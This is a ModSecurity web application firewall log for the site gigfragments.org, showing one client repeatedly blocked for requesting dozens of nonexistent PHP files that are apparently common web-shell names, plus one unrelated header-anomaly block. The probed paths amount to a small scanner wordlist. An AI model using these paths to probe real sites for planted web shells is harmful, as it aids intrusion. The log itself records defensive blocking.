[Mon Apr 06 01:06:24.848473 2026] [:error] [pid 51584:tid 51701] [client 158.158.72.207:50401] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pass4.php"] [unique_id "adKWkMZ4qY_GoNCPARAVhAAAAMQ"]
[Mon Apr 06 01:06:27.730885 2026] [:error] [pid 51753:tid 51820] [client 158.158.72.207:50402] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pass4.php"] [unique_id "adKWk63pmp1JkaicYbtlNAAAAQk"]
[Mon Apr 06 01:06:28.978859 2026] [:error] [pid 51753:tid 51835] [client 158.158.72.207:54566] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pass4.php"] [unique_id "adKWlK3pmp1JkaicYbtlOgAAARc"]
[Mon Apr 06 01:06:30.509652 2026] [:error] [pid 51581:tid 51669] [client 158.158.72.207:50420] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pass4.php"] [unique_id "adKWlt4k74fhQLPUy7E4pgAAAIA"]
[Mon Apr 06 01:06:32.152334 2026] [:error] [pid 51753:tid 51815] [client 158.158.72.207:4397] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "adKWmK3pmp1JkaicYbtlSgAAAQQ"]
[Mon Apr 06 01:06:33.850058 2026] [:error] [pid 51753:tid 51817] [client 158.158.72.207:56912] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "adKWma3pmp1JkaicYbtlVAAAAQY"]
[Mon Apr 06 01:06:35.251244 2026] [:error] [pid 51580:tid 51660] [client 158.158.72.207:4353] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "adKWm1NFl1NiyNgNZAkeGQAAAFU"]
[Mon Apr 06 01:06:37.148005 2026] [:error] [pid 51753:tid 51820] [client 158.158.72.207:50399] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5.php"] [unique_id "adKWna3pmp1JkaicYbtlYQAAAQk"]
[Mon Apr 06 01:06:57.027536 2026] [:error] [pid 51581:tid 51675] [client 158.158.72.207:56934] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "adKWsd4k74fhQLPUy7E5IgAAAIY"]
[Mon Apr 06 01:06:59.809581 2026] [:error] [pid 51580:tid 51656] [client 158.158.72.207:51473] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "adKWs1NFl1NiyNgNZAkeVwAAAFE"]
[Mon Apr 06 01:07:02.176926 2026] [:error] [pid 51580:tid 51650] [client 158.158.72.207:57524] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "adKWtlNFl1NiyNgNZAkeXwAAAEs"]
[Mon Apr 06 01:07:03.585334 2026] [:error] [pid 51580:tid 51642] [client 158.158.72.207:4414] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "adKWt1NFl1NiyNgNZAkeYgAAAEM"]
[Mon Apr 06 01:07:04.768581 2026] [:error] [pid 51580:tid 51646] [client 158.158.72.207:63124] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "adKWuFNFl1NiyNgNZAkeZwAAAEc"]
[Mon Apr 06 01:07:07.431788 2026] [:error] [pid 51753:tid 51824] [client 158.158.72.207:47880] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "adKWu63pmp1JkaicYbtl1AAAAQ0"]
[Mon Apr 06 01:07:11.281209 2026] [:error] [pid 51753:tid 51817] [client 158.158.72.207:47927] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "adKWv63pmp1JkaicYbtl6wAAAQY"]
[Mon Apr 06 01:07:15.264850 2026] [:error] [pid 51581:tid 51689] [client 158.158.72.207:56905] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "adKWw94k74fhQLPUy7E5ZQAAAJQ"]
[Mon Apr 06 01:07:17.566771 2026] [:error] [pid 51753:tid 51824] [client 158.158.72.207:47894] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0yellow.php"] [unique_id "adKWxa3pmp1JkaicYbtmGQAAAQ0"]
[Mon Apr 06 01:07:22.792968 2026] [:error] [pid 51753:tid 51826] [client 158.158.72.207:50430] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0yellow.php"] [unique_id "adKWyq3pmp1JkaicYbtmPgAAAQ8"]
[Mon Apr 06 01:07:24.741209 2026] [:error] [pid 51580:tid 51641] [client 158.158.72.207:50392] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0yellow.php"] [unique_id "adKWzFNFl1NiyNgNZAkerQAAAEI"]
[Mon Apr 06 01:07:25.683377 2026] [:error] [pid 51580:tid 51660] [client 158.158.72.207:56921] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0yellow.php"] [unique_id "adKWzVNFl1NiyNgNZAkesgAAAFU"]
[Mon Apr 06 01:07:29.419658 2026] [:error] [pid 51580:tid 51654] [client 158.158.72.207:63129] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws86.php"] [unique_id "adKW0VNFl1NiyNgNZAkezAAAAE8"]
[Mon Apr 06 01:07:31.191840 2026] [:error] [pid 51753:tid 51836] [client 158.158.72.207:47874] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws86.php"] [unique_id "adKW063pmp1JkaicYbtmiAAAARg"]
[Mon Apr 06 01:07:32.912769 2026] [:error] [pid 51580:tid 51639] [client 158.158.72.207:4390] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws86.php"] [unique_id "adKW1FNFl1NiyNgNZAke1gAAAEA"]
[Mon Apr 06 01:07:35.898244 2026] [:error] [pid 51584:tid 51708] [client 158.158.72.207:50424] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws86.php"] [unique_id "adKW18Z4qY_GoNCPARAWGAAAAMs"]
[Mon Apr 06 01:07:38.494115 2026] [:error] [pid 51581:tid 51669] [client 158.158.72.207:47898] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "adKW2t4k74fhQLPUy7E5gQAAAIA"]
[Mon Apr 06 01:07:41.640568 2026] [:error] [pid 51753:tid 51816] [client 158.158.72.207:56913] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "adKW3a3pmp1JkaicYbtmwwAAAQU"]
[Mon Apr 06 01:07:42.767614 2026] [:error] [pid 51584:tid 51699] [client 158.158.72.207:4410] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "adKW3sZ4qY_GoNCPARAWLgAAAMI"]
[Mon Apr 06 01:07:43.973785 2026] [:error] [pid 51580:tid 51647] [client 158.158.72.207:50371] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "adKW31NFl1NiyNgNZAke_wAAAEg"]
[Mon Apr 06 01:07:45.250290 2026] [:error] [pid 51584:tid 51713] [client 158.158.72.207:56917] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adKW4cZ4qY_GoNCPARAWQwAAANA"]
[Mon Apr 06 01:07:47.804425 2026] [:error] [pid 51753:tid 51811] [client 158.158.72.207:62249] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adKW463pmp1JkaicYbtm2QAAAQA"]
[Mon Apr 06 01:07:51.391840 2026] [:error] [pid 51753:tid 51817] [client 158.158.72.207:63142] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adKW563pmp1JkaicYbtm7gAAAQY"]
[Mon Apr 06 01:07:52.830222 2026] [:error] [pid 51581:tid 51688] [client 158.158.72.207:47902] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adKW6N4k74fhQLPUy7E5sQAAAJM"]
[Mon Apr 06 01:08:14.877392 2026] [:error] [pid 51580:tid 51647] [client 158.158.72.207:47901] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new3.php"] [unique_id "adKW_lNFl1NiyNgNZAkfXQAAAEg"]
[Mon Apr 06 01:08:15.821761 2026] [:error] [pid 51581:tid 51670] [client 158.158.72.207:4359] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new3.php"] [unique_id "adKW_94k74fhQLPUy7E51AAAAIE"]
[Mon Apr 06 01:08:17.998175 2026] [:error] [pid 51584:tid 51706] [client 158.158.72.207:51467] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new3.php"] [unique_id "adKXAcZ4qY_GoNCPARAWowAAAMk"]
[Mon Apr 06 01:08:19.506627 2026] [:error] [pid 51584:tid 51713] [client 158.158.72.207:50428] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new3.php"] [unique_id "adKXA8Z4qY_GoNCPARAWqQAAANA"]
[Mon Apr 06 01:08:20.761769 2026] [:error] [pid 51753:tid 51813] [client 158.158.72.207:50395] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "adKXBK3pmp1JkaicYbtnYwAAAQI"]
[Mon Apr 06 01:08:22.763025 2026] [:error] [pid 51581:tid 51687] [client 158.158.72.207:56955] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "adKXBt4k74fhQLPUy7E55wAAAJI"]
[Mon Apr 06 01:08:23.718645 2026] [:error] [pid 51581:tid 51671] [client 158.158.72.207:4383] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "adKXB94k74fhQLPUy7E57QAAAII"]
[Mon Apr 06 01:08:24.320197 2026] [:error] [pid 51753:tid 51824] [client 158.158.72.207:50368] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp5.php"] [unique_id "adKXCK3pmp1JkaicYbtncAAAAQ0"]
[Mon Apr 06 01:08:24.965588 2026] [:error] [pid 51753:tid 51819] [client 158.158.72.207:50390] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws87.php"] [unique_id "adKXCK3pmp1JkaicYbtnegAAAQg"]
[Mon Apr 06 01:08:25.663397 2026] [:error] [pid 51581:tid 51679] [client 158.158.72.207:56925] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws87.php"] [unique_id "adKXCd4k74fhQLPUy7E59AAAAIo"]
[Mon Apr 06 01:08:25.730455 2026] [:error] [pid 51753:tid 51820] [client 43.166.245.120:40878] [client 43.166.245.120] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adKXCa3pmp1JkaicYbtnfQAAAQk"]
[Mon Apr 06 01:08:26.548018 2026] [:error] [pid 51581:tid 51674] [client 158.158.72.207:50378] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws87.php"] [unique_id "adKXCt4k74fhQLPUy7E5-gAAAIU"]
[Mon Apr 06 01:08:27.485831 2026] [:error] [pid 51581:tid 51675] [client 158.158.72.207:62237] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws87.php"] [unique_id "adKXC94k74fhQLPUy7E5_gAAAIY"]
[Mon Apr 06 01:08:28.360951 2026] [:error] [pid 51753:tid 51834] [client 158.158.72.207:56938] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buc.php"] [unique_id "adKXDK3pmp1JkaicYbtnhwAAARY"]
[Mon Apr 06 01:08:29.345413 2026] [:error] [pid 51753:tid 51816] [client 158.158.72.207:4402] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buc.php"] [unique_id "adKXDa3pmp1JkaicYbtnigAAAQU"]
[Mon Apr 06 01:08:30.436955 2026] [:error] [pid 51753:tid 51824] [client 158.158.72.207:63110] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buc.php"] [unique_id "adKXDq3pmp1JkaicYbtnlgAAAQ0"]
[Mon Apr 06 01:08:31.345822 2026] [:error] [pid 51753:tid 51832] [client 158.158.72.207:4371] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buc.php"] [unique_id "adKXD63pmp1JkaicYbtnngAAARU"]
[Mon Apr 06 01:08:32.167078 2026] [:error] [pid 51580:tid 51663] [client 158.158.72.207:60769] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cap.php"] [unique_id "adKXEFNFl1NiyNgNZAkfgwAAAFg"]
[Mon Apr 06 01:08:33.099229 2026] [:error] [pid 51753:tid 51818] [client 158.158.72.207:56943] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cap.php"] [unique_id "adKXEa3pmp1JkaicYbtnqgAAAQc"]
[Mon Apr 06 01:08:34.509748 2026] [:error] [pid 51753:tid 51835] [client 158.158.72.207:50398] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cap.php"] [unique_id "adKXEq3pmp1JkaicYbtntQAAARc"]
[Mon Apr 06 01:08:35.546208 2026] [:error] [pid 51753:tid 51824] [client 158.158.72.207:4406] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cap.php"] [unique_id "adKXE63pmp1JkaicYbtnvAAAAQ0"]
[Mon Apr 06 01:08:37.299190 2026] [:error] [pid 51584:tid 51715] [client 158.158.72.207:50389] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "adKXFcZ4qY_GoNCPARAWzAAAANI"]
[Mon Apr 06 01:08:38.256561 2026] [:error] [pid 51580:tid 51656] [client 158.158.72.207:62265] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "adKXFlNFl1NiyNgNZAkfiwAAAFE"]
[Mon Apr 06 01:08:38.962810 2026] [:error] [pid 51753:tid 51824] [client 158.158.72.207:51464] [client 158.158.72.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "adKXFq3pmp1JkaicYbtnzQAAAQ0"]
